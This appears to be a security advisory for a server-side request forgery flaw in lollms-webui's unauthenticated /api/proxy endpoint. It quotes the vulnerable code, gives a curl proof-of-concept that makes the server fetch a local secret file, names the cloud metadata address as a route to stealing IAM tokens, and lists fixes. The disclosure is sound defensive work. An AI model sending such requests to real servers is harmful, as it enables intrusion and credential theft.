lollms-webui Server-Side Request Forgery via /api/proxy

🔍 Vulnerability Mechanism

The vulnerability exists because the proxy function in lollms_apps.py (lollms_core/lollms/server/endpoints/lollms_apps.py) does not implement authentication or any form of URL/domain validation. It accepts a raw URL string from the user and passes it directly to an asynchronous HTTP client.

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # Danger: No check_access() call and no URL validation
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

---

💥 Exploitation Path

An unauthenticated attacker can force the server into making arbitrary GET requests. This can be exploited to access internal services, scan local networks, or exfiltrate sensitive cloud metadata (e.g., AWS/GCP IAM tokens from http://169.254.169.254/latest/meta-data/).

---

💻 Proof of Concept Exploit Payload

# Force the target server to query a local port and leak contents:
curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

---

🛠️ Proposed Remediation

1. Add Authentication: Call check_access(lollmsElfServer, request.client_id) at the start of the function.
2. Implement Domain Whitelisting: Restrict requests to a predefined list of trusted domains.
3. Block Private IP Ranges: Explicitly block requests to 127.0.0.1, localhost, and private network ranges (RFC 1918) as well as the cloud metadata IP (169.254.169.254).